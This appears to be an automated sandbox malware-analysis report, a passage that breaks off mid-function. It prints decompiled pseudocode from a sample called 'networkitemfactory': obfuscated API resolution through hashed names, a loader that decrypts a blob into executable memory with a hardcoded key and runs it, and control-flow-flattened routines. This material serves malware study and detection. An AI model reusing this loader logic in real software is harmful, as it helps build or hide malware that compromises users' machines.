								__eflags = _t110 - 0x1ffceef0;
								if(_t110 == 0x1ffceef0) {
									_t81 =  *0x20be360; // 0x53b7e8
									E020B4180(_t60, _t81);
									L51:
									__eflags = 0;
									return 0;
								} else {
									goto L32;
								}
							}
						}
					}
					goto L52;
					L32:
					__eflags = _t110 - 0x1a3539d7;
				} while (_t110 != 0x1a3539d7);
				__eflags = 0;
				return 0;
				goto L52;
			}

0x020b2585
0x020b2587
0x020b2587
0x020b2590
0x020b2590
0x020b2590
0x020b2590
0x020b2596
0x00000000
0x00000000
0x020b259c
0x020b274d
0x020b2753
0x020b2755
0x020b276d
0x020b276f
0x020b276f
0x020b2775
0x020b277d
0x020b277f
0x00000000
0x020b25a2
0x020b25a2
0x020b25a8
0x020b268a
0x020b2690
0x020b26f3
0x020b26f8
0x020b26fa
0x020b270d
0x020b2712
0x020b2712
0x020b2734
0x020b273a
0x020b2742
0x00000000
0x020b2692
0x020b2692
0x020b2698
0x00000000
0x020b269e
0x020b269e
0x020b26a4
0x020b26a6
0x020b26be
0x020b26c0
0x020b26c0
0x020b26c6
0x020b26da
0x020b26e0
0x020b26e8
0x00000000
0x020b26e8
0x020b2698
0x020b25ae
0x020b25ae
0x020b264c
0x020b2652
0x020b2654
0x020b266c
0x020b266e
0x020b266e
0x020b2674
0x020b267e
0x020b2680
0x00000000
0x020b25b4
0x020b25ba
0x020b25fe
0x020b2603
0x020b2605
0x020b2618
0x020b261d
0x020b261d
0x020b2622
0x020b2628
0x020b2638
0x020b263a
0x020b263c
0x020b2919
0x020b2642
0x020b2642
0x00000000
0x020b2642
0x020b25bc
0x020b25c2
0x00000000
0x020b25c8
0x020b25c8
0x020b25cf
0x020b25e2
0x020b25e7
0x020b25e7
0x020b25ec
0x020b25f5
0x020b25f7
0x00000000
0x020b25f7
0x020b25c2
0x020b25ba
0x020b25ae
0x020b25a8
0x00000000
0x020b259c
0x020b2789
0x020b278f
0x020b289a
0x020b28a0
0x00000000
0x020b28a6
0x020b28a6
0x020b28ab
0x020b28ad
0x020b28c0
0x020b28c5
0x020b28c5
0x020b28cc
0x020b28ce
0x020b28d3
0x020b28d5
0x020b28e8
0x020b28ed
0x020b28ed
0x020b28f9
0x020b28fb
0x020b2901
0x020b2903
0x00000000
0x020b2905
0x020b2905
0x00000000
0x020b2905
0x020b2903
0x020b2795
0x020b2795
0x020b2845
0x020b284b
0x020b284d
0x020b2865
0x020b2867
0x020b2867
0x020b286d
0x020b2873
0x020b2881
0x020b2887
0x020b288f
0x00000000
0x020b279b
0x020b279b
0x020b27a1
0x020b27c3
0x020b27c9
0x020b27cb
0x020b27e3
0x020b27e5
0x020b27e5
0x020b27eb
0x020b27f1
0x020b2804
0x020b2808
0x020b280a
0x020b2815
0x020b281b
0x020b281d
0x020b2830
0x020b2835
0x020b2835
0x020b283e
0x00000000
0x020b27a3
0x020b27a3
0x020b27a9
0x020b291a
0x020b2920
0x020b2926
0x020b2926
0x020b292c
0x00000000
0x00000000
0x00000000
0x020b27a9
0x020b27a1
0x020b2795
0x00000000
0x020b27af
0x020b27af
0x020b27af
0x020b27bc
0x020b27c2
0x00000000

APIs

CryptDecodeObjectEx.CRYPT32(00010001,00000013,?,?,00008000,00000000,?,?), ref: 020B2734

Strings

?@g@, xrefs: 020B25DB
?@g@, xrefs: 020B2761

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: CryptDecodeObject
String ID: ?@g@$?@g@
API String ID: 1207547050-3483824452
Opcode ID: 351dc39ffc6a5fc4b1acc427167928056997d880f11d4dc4a437bba317db105b
Instruction ID: 382c8e9383cb3bca7de32b7f565d129cd1799232a8c49319973a886269e8899a
Opcode Fuzzy Hash: 351dc39ffc6a5fc4b1acc427167928056997d880f11d4dc4a437bba317db105b
Instruction Fuzzy Hash: A4810131F443119FDB7BAB74D865BEA72D3BF84700F104869AD169B290EA389C40ABC1

Uniqueness

Uniqueness Score: -1.00%

Function 020B5300, Relevance: 1.6, APIs: 1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E020B5300(void* __ebx, void* __ebp) {
				signed char _v2;
				signed int _v276;
				signed int _v280;
				char _v284;
				signed short _v320;
				void* _t8;
				intOrPtr* _t15;
				intOrPtr* _t18;
				void* _t22;
				void* _t31;
				void* _t32;
				void* _t35;

				_t32 = __ebp;
				_t22 = __ebx;
				_t8 = 0x19226663;
				_t31 = 0;
				goto L1;
				do {
					while(1) {
						L1:
						_t35 = _t8 - 0x2a0036b4;
						if(_t35 > 0) {
							break;
						}
						if(_t35 == 0) {
							_t15 =  *0x20bdc7c;
							_v284 = 0x11c;
							if(_t15 == 0) {
								_t15 = E020B3DD0(_t22, E020B3E70(0xe60124ba), 0x49158360, _t32);
								 *0x20bdc7c = _t15;
							}
							 *_t15( &_v284);
							_t8 = 0x1945f8a;
							continue;
						} else {
							if(_t8 == 0x1945f8a) {
								_t18 =  *0x20be1dc;
								if(_t18 == 0) {
									_t18 = E020B3DD0(_t22, E020B3E70(0xbb51e2dc), 0x84b17446, _t32);
									 *0x20be1dc = _t18;
								}
								 *_t18( &_v320); // executed
								_t8 = 0x2efd0e3b;
								continue;
							} else {
								if(_t8 == 0x7e3ea5e) {
									_t31 = _t31 + _v280 * 0x3e8;
									_t8 = 0x3b6c3dab;
									continue;
								} else {
									if(_t8 != 0x19226663) {
										goto L18;
									} else {
										_t8 = 0x2a0036b4;
										continue;
									}
								}
							}
						}
						L22:
					}
					if(_t8 == 0x2efd0e3b) {
						_t31 = _t31 + (_v2 & 0x000000ff) * 0x186a0;
						_t8 = 0x7e3ea5e;
						goto L1;
					} else {
						if(_t8 == 0x348307ee) {
							return (_v320 & 0x0000ffff) + _t31;
						} else {
							if(_t8 != 0x3b6c3dab) {
								goto L18;
							} else {
								_t31 = _t31 + _v276 * 0x64;
								_t8 = 0x348307ee;
								goto L1;
							}
						}
					}
					goto L22;
					L18:
				} while (_t8 != 0x373c4ea);
				return _t31;
				goto L22;
			}

0x020b5300
0x020b5300
0x020b5306
0x020b530c
0x020b530c
0x020b5310
0x020b5310
0x020b5310
0x020b5310
0x020b5315
0x00000000
0x00000000
0x020b531b
0x020b5380
0x020b5385
0x020b538f
0x020b53a2
0x020b53a7
0x020b53a7
0x020b53b1
0x020b53b3
0x00000000
0x020b531d
0x020b5322
0x020b534e
0x020b5355
0x020b5368
0x020b536d
0x020b536d
0x020b5377
0x020b5379
0x00000000
0x020b5324
0x020b5329
0x020b5345
0x020b5347
0x00000000
0x020b532b
0x020b5330
0x00000000
0x020b5336
0x020b5336
0x00000000
0x020b5336
0x020b5330
0x020b5329
0x020b5322
0x00000000
0x020b531b
0x020b53c2
0x020b5406
0x020b5408
0x00000000
0x020b53c4
0x020b53c9
0x020b5420
0x020b53cb
0x020b53d0
0x00000000
0x020b53d2
0x020b53d7
0x020b53d9
0x00000000
0x020b53d9
0x020b53d0
0x020b53c9
0x00000000
0x020b53e3
0x020b53e3
0x020b53f7
0x00000000

APIs

GetNativeSystemInfo.KERNELBASE(3444DC2F,3444DC2F), ref: 020B5377

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: ed8ceb6a7c1f517a60b759d567c83976a892b740de7115a4b3052911e1b2757a
Instruction ID: 00d2c11650fcaa4c8fdd1aabaf83d327cbd587c2d8869497a7262dc8aa40a83e
Opcode Fuzzy Hash: ed8ceb6a7c1f517a60b759d567c83976a892b740de7115a4b3052911e1b2757a
Instruction Fuzzy Hash: 0F21F561A1431087D77B96388CC12FE7DC1AF94B44FD84DA6E45AE7350E778C940AB83

Uniqueness

Uniqueness Score: -1.00%

Function 020B2240, Relevance: 1.5, Strings: 1, Instructions: 224
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E020B2240(intOrPtr* __ecx, signed int __edx) {
				void* __ebx;
				void* __ebp;
				signed int _t49;
				signed int _t50;
				intOrPtr _t51;
				signed int _t53;
				signed int _t58;
				intOrPtr _t62;
				intOrPtr _t69;
				signed int _t70;
				signed int _t75;
				signed int _t78;
				signed int _t83;
				signed int _t91;
				intOrPtr* _t94;
				signed int _t97;
				intOrPtr _t101;
				intOrPtr* _t104;
				signed int _t111;
				signed int _t115;
				signed int _t119;
				intOrPtr _t120;
				signed int _t121;
				intOrPtr _t123;
				intOrPtr* _t125;
				void* _t126;
				void* _t128;
				void* _t129;

				_t83 =  *(_t126 + 0x14);
				 *(_t126 + 0x14) = __edx;
				_t125 = __ecx;
				_t119 = 0;
				_t121 = 0x32c8b508;
				while(1) {
					L1:
					 *(_t126 + 0x1c) = _t119;
					while(1) {
						do {
							while(1) {
								L3:
								_t128 = _t121 - 0x2268ca03;
								if(_t128 > 0) {
									break;
								}
								if(_t128 == 0) {
									_t49 =  *0x20bde6c;
									 *(_t126 + 0x28) = 0x14;
									__eflags = _t49;
									if(_t49 == 0) {
										_t49 = E020B3DD0(_t83, E020B3E70(0x60f9cb2), 0xc36d7cfb, _t125);
										 *0x20bde6c = _t49;
									}
									_t50 =  *_t49( *(_t126 + 0x28), 2, _t83 + 0x60, _t126 + 0x2c, 0);
									_t111 =  *(_t126 + 0x14);
									__eflags = _t50;
									_t51 =  *((intOrPtr*)(_t126 + 0x10));
									if(_t50 != 0) {
										_t121 = 0x250899ad;
										_t119 = 1;
										goto L1;
									}
									continue;
								} else {
									_t129 = _t121 - 0x1e7fd4d2;
									if(_t129 > 0) {
										__eflags = _t121 - 0x1f02c9d3;
										if(_t121 != 0x1f02c9d3) {
											goto L43;
										} else {
											_t53 =  *0x20be0f0;
											_t123 =  *((intOrPtr*)(_t125 + 4));
											_t120 =  *_t125;
											__eflags = _t53;
											if(_t53 == 0) {
												_t53 = E020B3DD0(_t83, E020B3E70(0xe60124ba), 0x5006b8db, _t125);
												 *0x20be0f0 = _t53;
											}
											 *_t53( *((intOrPtr*)(_t126 + 0x2c)), _t120, _t123);
											_t119 =  *(_t126 + 0x28);
											_t126 = _t126 + 0xc;
											_t111 =  *(_t126 + 0x14);
											_t121 = 0x17a04c7e;
											while(1) {
												goto L3;
											}
										}
									} else {
										if(_t129 == 0) {
											__eflags = _t119;
											if(_t119 == 0) {
												E020B4180(_t83,  *_t111);
											}
											goto L47;
										} else {
											if(_t121 == 0xc9d0246) {
												_t91 =  *((intOrPtr*)(_t125 + 4)) + 1;
												__eflags = _t91 & 0x0000000f;
												if((_t91 & 0x0000000f) != 0) {
													_t91 = (_t91 & 0xfffffff0) + 0x10;
													__eflags = _t91;
												}
												 *((intOrPtr*)(_t111 + 4)) = _t91 + 0x74;
												_t58 = E020B4220(_t83, _t91 + 0x74);
												_t111 =  *(_t126 + 0x14);
												_t83 = _t58;
												 *_t111 = _t83;
												__eflags = _t83;
												if(_t83 == 0) {
													L47:
													return _t119;
												} else {
													_t17 = _t83 + 0x74; // 0x74
													 *((intOrPtr*)(_t126 + 0x24)) = _t17;
													_t121 = 0x2572d88b;
													_t51 =  *((intOrPtr*)(_t111 + 4)) - 0x74;
													 *((intOrPtr*)(_t126 + 0x2c)) =  *((intOrPtr*)(_t125 + 4));
													 *((intOrPtr*)(_t126 + 0x10)) = _t51;
													continue;
												}
											} else {
												if(_t121 != 0x17a04c7e) {
													goto L43;
												} else {
													_t94 =  *0x20be1f4;
													if(_t94 == 0) {
														_t94 = E020B3DD0(_t83, E020B3E70(0x60f9cb2), 0xc51cfddb, _t125);
														_t51 =  *((intOrPtr*)(_t126 + 0x10));
														 *0x20be1f4 = _t94;
													}
													_t62 =  *0x20be360; // 0x53b7e8
													 *_t94( *((intOrPtr*)(_t62 + 0x1c)),  *((intOrPtr*)(_t126 + 0x2c)), 1, 0,  *((intOrPtr*)(_t126 + 0x2c)), _t126 + 0x30, _t51);
													_t111 =  *(_t126 + 0x14);
													asm("sbb esi, esi");
													_t121 = (_t121 & 0x0ea95bf3) + 0x250899ad;
													while(1) {
														goto L3;
													}
												}
											}
										}
									}
								}
								L48:
							}
							__eflags = _t121 - 0x32c8b508;
							if(__eflags > 0) {
								__eflags = _t121 - 0x33b1f5a0;
								if(_t121 != 0x33b1f5a0) {
									goto L43;
								} else {
									_t97 =  *0x20bde78;
									 *((intOrPtr*)(_t126 + 0x20)) = 0x6c;
									__eflags = _t97;
									if(_t97 == 0) {
										_t97 = E020B3DD0(_t83, E020B3E70(0x60f9cb2), 0xf1fc6771, _t125);
										 *0x20bde78 = _t97;
									}
									_t69 =  *0x20be360; // 0x53b7e8
									_t70 =  *_t97( *((intOrPtr*)(_t69 + 0x1c)),  *((intOrPtr*)(_t69 + 0x40)), 1, 0x40, _t126 + 0x34, _t126 + 0x20); // executed
									__eflags = _t70;
									if(_t70 == 0) {
										_t111 =  *(_t126 + 0x14);
										_t121 = 0x250899ad;
										goto L3;
									} else {
										_t104 = _t126 + 0x9b;
										_t115 = _t83;
										do {
											_t115 = _t115 + 1;
											 *((char*)(_t115 - 1)) =  *_t104;
											_t104 = _t104 - 1;
											__eflags = _t104 - _t126 + 0x3c;
										} while (_t104 >= _t126 + 0x3c);
										_t111 =  *(_t126 + 0x14);
										_t121 = 0x2268ca03;
										while(1) {
											goto L3;
										}
									}
								}
							} else {
								if(__eflags == 0) {
									_t121 = 0xc9d0246;
									goto L3;
								} else {
									__eflags = _t121 - 0x250899ad;
									if(_t121 == 0x250899ad) {
										_t75 =  *0x20be14c;
										__eflags = _t75;
										if(_t75 == 0) {
											_t75 = E020B3DD0(_t83, E020B3E70(0x60f9cb2), 0x8e956c76, _t125);
											 *0x20be14c = _t75;
										}
										 *_t75( *((intOrPtr*)(_t126 + 0x18)));
										_t111 =  *(_t126 + 0x14);
										_t121 = 0x1e7fd4d2;
										while(1) {
											goto L3;
										}
									} else {
										__eflags = _t121 - 0x2572d88b;
										if(_t121 != 0x2572d88b) {
											goto L43;
										} else {
											_t78 =  *0x20bdcc8;
											__eflags = _t78;
											if(_t78 == 0) {
												_t78 = E020B3DD0(_t83, E020B3E70(0x60f9cb2), 0x91ee8387, _t125);
												 *0x20bdcc8 = _t78;
											}
											_t101 =  *0x20be360; // 0x53b7e8
											 *_t78( *((intOrPtr*)(_t101 + 0x20)), 0, 0, _t126 + 0x18);
											_t111 =  *(_t126 + 0x14);
											asm("sbb esi, esi");
											_t121 = (_t121 & 0x0082f501) + 0x1e7fd4d2;
											while(1) {
												goto L3;
											}
										}
									}
								}
							}
							goto L48;
							L43:
							__eflags = _t121 - 0x31f267c0;
						} while (_t121 != 0x31f267c0);
						return _t119;
						goto L48;
					}
				}
			}

0x020b2247
0x020b224e
0x020b2252
0x020b2254
0x020b2256
0x020b225b
0x020b225b
0x020b225b
0x020b225f
0x020b2263
0x020b2263
0x020b2263
0x020b2263
0x020b2269
0x00000000
0x00000000
0x020b226f
0x020b239b
0x020b23a0
0x020b23a8
0x020b23aa
0x020b23bd
0x020b23c2
0x020b23c2
0x020b23d8
0x020b23da
0x020b23de
0x020b23e0
0x020b23e4
0x020b23ea
0x020b23ef
0x00000000
0x020b23ef
0x00000000
0x020b2275
0x020b2275
0x020b227b
0x020b2348
0x020b234e
0x00000000
0x020b2354
0x020b2354
0x020b2359
0x020b235c
0x020b235f
0x020b2361
0x020b2374
0x020b2379
0x020b2379
0x020b2384
0x020b2386
0x020b238a
0x020b238d
0x020b2391
0x020b225f
0x00000000
0x020b225f
0x020b225f
0x020b2281
0x020b2281
0x020b255c
0x020b255e
0x020b2562
0x020b2562
0x00000000
0x020b2287
0x020b228d
0x020b22ff
0x020b2300
0x020b2303
0x020b2308
0x020b2308
0x020b2308
0x020b230e
0x020b2311
0x020b2316
0x020b231a
0x020b231c
0x020b231e
0x020b2320
0x020b2567
0x020b2573
0x020b2326
0x020b2329
0x020b232c
0x020b2330
0x020b2338
0x020b233b
0x020b233f
0x00000000
0x020b233f
0x020b228f
0x020b2295
0x00000000
0x020b229b
0x020b229b
0x020b22a3
0x020b22bb
0x020b22bd
0x020b22c1
0x020b22c1
0x020b22d1
0x020b22e1
0x020b22e3
0x020b22e9
0x020b22f1
0x020b225f
0x00000000
0x020b225f
0x020b225f
0x020b2295
0x020b228d
0x020b2281
0x020b227b
0x00000000
0x020b226f
0x020b23f9
0x020b23ff
0x020b24b2
0x020b24b8
0x00000000
0x020b24be
0x020b24be
0x020b24c4
0x020b24cc
0x020b24ce
0x020b24e6
0x020b24e8
0x020b24e8
0x020b24f8
0x020b2507
0x020b2509
0x020b250b
0x020b2535
0x020b2539
0x00000000
0x020b250d
0x020b250d
0x020b2514
0x020b2516
0x020b2518
0x020b251b
0x020b251e
0x020b2523
0x020b2523
0x020b2527
0x020b252b
0x020b225f
0x00000000
0x020b225f
0x020b225f
0x020b250b
0x020b2405
0x020b2405
0x020b24a8
0x00000000
0x020b240b
0x020b240b
0x020b2411
0x020b2470
0x020b2475
0x020b2477
0x020b248a
0x020b248f
0x020b248f
0x020b2498
0x020b249a
0x020b249e
0x020b225f
0x00000000
0x020b225f
0x020b2413
0x020b2413
0x020b2419
0x00000000
0x020b241f
0x020b241f
0x020b2424
0x020b2426
0x020b2439
0x020b243e
0x020b243e
0x020b2448
0x020b2455
0x020b2457
0x020b245d
0x020b2465
0x020b225f
0x00000000
0x020b225f
0x020b225f
0x020b2419
0x020b2411
0x020b2405
0x00000000
0x020b2543
0x020b2543
0x020b2543
0x020b255b
0x00000000
0x020b255b
0x020b225f

Strings

l, xrefs: 020B24C4

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID:
String ID: l
API String ID: 0-2517025534
Opcode ID: ba540d494303a3bc97edb32621f201d325823f1efc99b51d05b937502894ff2c
Instruction ID: 51d4385f04b79673a8fb5fe2444ca76b9ae791b3c44ab873e9ca9cb9b84475fb
Opcode Fuzzy Hash: ba540d494303a3bc97edb32621f201d325823f1efc99b51d05b937502894ff2c
Instruction Fuzzy Hash: 2281C032A043019FCB3ADF24D890BEAB6E2AF94704F14496DED66A7394D734DC059B92

Uniqueness

Uniqueness Score: -1.00%

Function 00402AEC, Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			_entry_(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t17;
				void* _t18;
				void* _t19;
				intOrPtr _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				intOrPtr _t28;
				signed int _t39;
				void* _t49;
				signed int _t52;
				void* _t54;
				void* _t56;

				_t50 = __edi;
				_t49 = __edx;
				E00406001();
				_push(0x14);
				_push(0x434230);
				E00406830(__ebx, __edi, __esi);
				_t52 = E004063B1() & 0x0000ffff;
				E00405FB4(2);
				_t56 =  *0x400000 - 0x5a4d; // 0x5a4d
				if(_t56 == 0) {
					_t17 =  *0x40003c; // 0xf8
					__eflags =  *((intOrPtr*)(_t17 + 0x400000)) - 0x4550;
					if( *((intOrPtr*)(_t17 + 0x400000)) != 0x4550) {
						goto L2;
					} else {
						__eflags =  *((intOrPtr*)(_t17 + 0x400018)) - 0x10b;
						if( *((intOrPtr*)(_t17 + 0x400018)) != 0x10b) {
							goto L2;
						} else {
							_t39 = 0;
							__eflags =  *((intOrPtr*)(_t17 + 0x400074)) - 0xe;
							if( *((intOrPtr*)(_t17 + 0x400074)) > 0xe) {
								__eflags =  *(_t17 + 0x4000e8);
								_t6 =  *(_t17 + 0x4000e8) != 0;
								__eflags = _t6;
								_t39 = 0 | _t6;
							}
						}
					}
				} else {
					L2:
					_t39 = 0;
				}
				 *(_t54 - 0x1c) = _t39;
				_t18 = E0040408A();
				_t57 = _t18;
				if(_t18 == 0) {
					E00402C8C(0x1c);
				}
				_t19 = E0040435E(_t39, _t50, _t57);
				_t58 = _t19;
				if(_t19 == 0) {
					_t19 = E00402C8C(0x10);
				}
				E0040609D(_t19);
				 *(_t54 - 4) =  *(_t54 - 4) & 0x00000000;
				if(E00405991(_t39, _t50, _t52, _t58) < 0) {
					E00402C8C(0x1b);
				}
				 *0x438c14 = GetCommandLineA(); // executed
				_t23 = E004060DD(_t49); // executed
				 *0x4369bc = _t23;
				_t24 = E00405CA4();
				_t60 = _t24;
				if(_t24 < 0) {
					E00403A3B(_t39, _t49, _t50, _t52, _t60, 8);
				}
				_t25 = E00405ED3(_t39, _t49, _t50, _t52);
				_t61 = _t25;
				if(_t25 < 0) {
					E00403A3B(_t39, _t49, _t50, _t52, _t61, 9);
				}
				_t26 = E00403A75(1);
				_t62 = _t26;
				if(_t26 != 0) {
					E00403A3B(_t39, _t49, _t50, _t52, _t62, _t26);
				}
				_t28 = L0040105F(_t62, 0x400000, 0, E004067CA(), _t52); // executed
				_t53 = _t28;
				 *((intOrPtr*)(_t54 - 0x24)) = _t28;
				if(_t39 == 0) {
					E00403D4A(_t53);
				}
				E00403A66();
				 *(_t54 - 4) = 0xfffffffe;
				return E00406875(_t53);
			}

APIs

___security_init_cookie.LIBCMT ref: 00402AEC
___crtGetShowWindowMode.LIBCMT ref: 00402B02

Part of subcall function 004063B1: GetStartupInfoW.KERNEL32(?), ref: 004063BB

_fast_error_exit.LIBCMT ref: 00402B65
_fast_error_exit.LIBCMT ref: 00402B76
__RTC_Initialize.LIBCMT ref: 00402B7C
__ioinit.LIBCMT ref: 00402B85
_fast_error_exit.LIBCMT ref: 00402B90
GetCommandLineA.KERNEL32(00434230,00000014), ref: 00402B96
___crtGetEnvironmentStringsA.LIBCMT ref: 00402BA1
__setargv.LIBCMT ref: 00402BAB
__amsg_exit.LIBCMT ref: 00402BB6
__setenvp.LIBCMT ref: 00402BBC
__amsg_exit.LIBCMT ref: 00402BC7
__cinit.LIBCMT ref: 00402BCF
__amsg_exit.LIBCMT ref: 00402BDA
__wincmdln.LIBCMT ref: 00402BE0

Strings

.$, xrefs: 00402B45

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: __amsg_exit_fast_error_exit$___crt$CommandEnvironmentInfoInitializeLineModeShowStartupStringsWindow___security_init_cookie__cinit__ioinit__setargv__setenvp__wincmdln
String ID: .$
API String ID: 722230336-2223841709
Opcode ID: 2b8f61f1431ea0df09f1c0164b502e9dea853c94572a4a06b0668eda39d2d80c
Instruction ID: 7ae2d3f055974e6946f000923a398beb9b46f46489c73d20005b371b7e894a64
Opcode Fuzzy Hash: 2b8f61f1431ea0df09f1c0164b502e9dea853c94572a4a06b0668eda39d2d80c
Instruction Fuzzy Hash: E621D6606043119AFA20BFB29A4BB2F26645F0071DF10447FF905BA1C3DEFC9A408A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00402000, Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 122
windowlibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402000(void* __eflags, struct HACCEL__* _a4, intOrPtr _a16) {
				long _v8;
				intOrPtr _v12;
				struct tagMSG _v40;
				void* _t17;
				intOrPtr _t19;
				void* _t25;
				int _t28;
				int _t31;
				int _t33;
				void* _t38;
				void* _t40;
				long _t43;
				intOrPtr* _t44;
				struct HINSTANCE__* _t45;
				void* _t47;
				void* _t50;
				void* _t51;

				_t47 = 0;
				_t44 = 0;
				_v8 = 0;
				_t17 = L00401078(__eflags); // executed
				if(_t17 == 0) {
					_t40 = L0040100A(L"kernel32.dll");
					_t50 = _t50 + 4;
					if(_t40 != 0) {
						_t44 = GetProcAddress(0x400000, "lhxXfY9mIrDZ");
					}
				}
				_t19 = L00401014(0xeca, 0x8e9, 0x409,  &_v8);
				_t51 = _t50 + 0x10;
				_v12 = _t19;
				if(_t19 != 0) {
					_t43 = _v8;
					_t38 = VirtualAlloc(0, _t43, 0x3000, 0x40); // executed
					_t47 = _t38;
					if(_t47 != 0) {
						 *_t44(_v12, _t43, "*Z59Drrf54QiC$hJ#gOK+69cn8+(xcALhQV>DQd@", 0x29, _t47); // executed
						_t51 = _t51 + 0x14;
					}
				}
				 *_t47();
				_t45 = _a4;
				LoadStringA(_t45, 0x67, 0x436848, 0x64);
				LoadStringA(_t45, 0x6d, 0x4368b0, 0x64);
				LoadStringA(_t45, 0x6e, 0x436918, 0x64);
				L0040107D(_t45);
				_push(_a16);
				_t25 = L0040101E(_t45);
				if(_t25 != 0) {
					_a4 = LoadAcceleratorsA(_t45, 0x6d);
					_t28 = GetMessageA( &_v40, 0, 0, 0);
					__eflags = _t28;
					if(_t28 != 0) {
						do {
							_t31 = TranslateAcceleratorA(_v40, _a4,  &_v40);
							__eflags = _t31;
							if(_t31 == 0) {
								TranslateMessage( &_v40);
								DispatchMessageA( &_v40);
							}
							_t33 = GetMessageA( &_v40, 0, 0, 0);
							__eflags = _t33;
						} while (_t33 != 0);
					}
					return _v40.wParam;
				} else {
					return _t25;
				}
			}

APIs

GetProcAddress.KERNEL32(00400000,lhxXfY9mIrDZ), ref: 00402034
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0040206B
LoadStringA.USER32 ref: 0040209D
LoadStringA.USER32 ref: 004020A9
LoadStringA.USER32 ref: 004020B5
LoadAcceleratorsA.USER32 ref: 004020D9
GetMessageA.USER32 ref: 004020F2
TranslateAcceleratorA.USER32(?,?,?), ref: 0040210E
TranslateMessage.USER32(?), ref: 0040211C
DispatchMessageA.USER32 ref: 00402122
GetMessageA.USER32 ref: 0040212E

Strings

kernel32.dll, xrefs: 00402019
*Z59Drrf54QiC$hJ#gOK+69cn8+(xcALhQV>DQd@, xrefs: 0040207A
lhxXfY9mIrDZ, xrefs: 0040202A

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: LoadMessage$String$Translate$AcceleratorAcceleratorsAddressAllocDispatchProcVirtual
String ID: *Z59Drrf54QiC$hJ#gOK+69cn8+(xcALhQV>DQd@$kernel32.dll$lhxXfY9mIrDZ
API String ID: 2593799514-3632223656
Opcode ID: 02997f93728868d16abe2a17e01b56cc79349e2df2566ec91700d16330bbe572
Instruction ID: 1e1217798d64c8bc9b67b94558be025fea950ab5572aa08b8cde754a73d97501
Opcode Fuzzy Hash: 02997f93728868d16abe2a17e01b56cc79349e2df2566ec91700d16330bbe572
Instruction Fuzzy Hash: 1031B672B4030976EB20ABA19D46FAF7A6C9B08B54F100077FF04B61D1D6F9ED1187A9

Uniqueness

Uniqueness Score: -1.00%

Function 020B2BA0, Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 287
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E020B2BA0(WCHAR* __ecx, short __edx, long _a4, WCHAR* _a8, void* _a12, intOrPtr _a16) {
				WCHAR* _v4;
				short _v8;
				char _v12;
				char _v16;
				WCHAR* _v20;
				WCHAR* _v24;
				void* _v28;
				void* _v32;
				WCHAR* _v36;
				void* _v40;
				void* _v48;
				intOrPtr _v56;
				void* _v64;
				void* __ebx;
				void* __ebp;
				signed int _t36;
				void* _t39;
				void* _t41;
				void* _t43;
				void* _t45;
				void* _t49;
				void* _t50;
				void* _t51;
				void* _t56;
				void* _t60;
				intOrPtr* _t68;
				void* _t69;
				void* _t71;
				void* _t83;
				void* _t131;
				void* _t132;
				void* _t133;
				void* _t134;
				long _t135;
				WCHAR* _t140;
				void* _t143;
				void* _t144;
				void* _t145;
				void* _t148;
				void* _t149;

				_t145 =  &_v40;
				_t144 = _a12;
				_v4 = __ecx;
				_t134 = 0x25b8da46;
				_t83 = _v4;
				_v8 = __edx;
				_v36 = 0;
				_v24 = 0;
				_v20 = 0;
				_v40 = 0;
				while(1) {
					L1:
					_t131 = _v32;
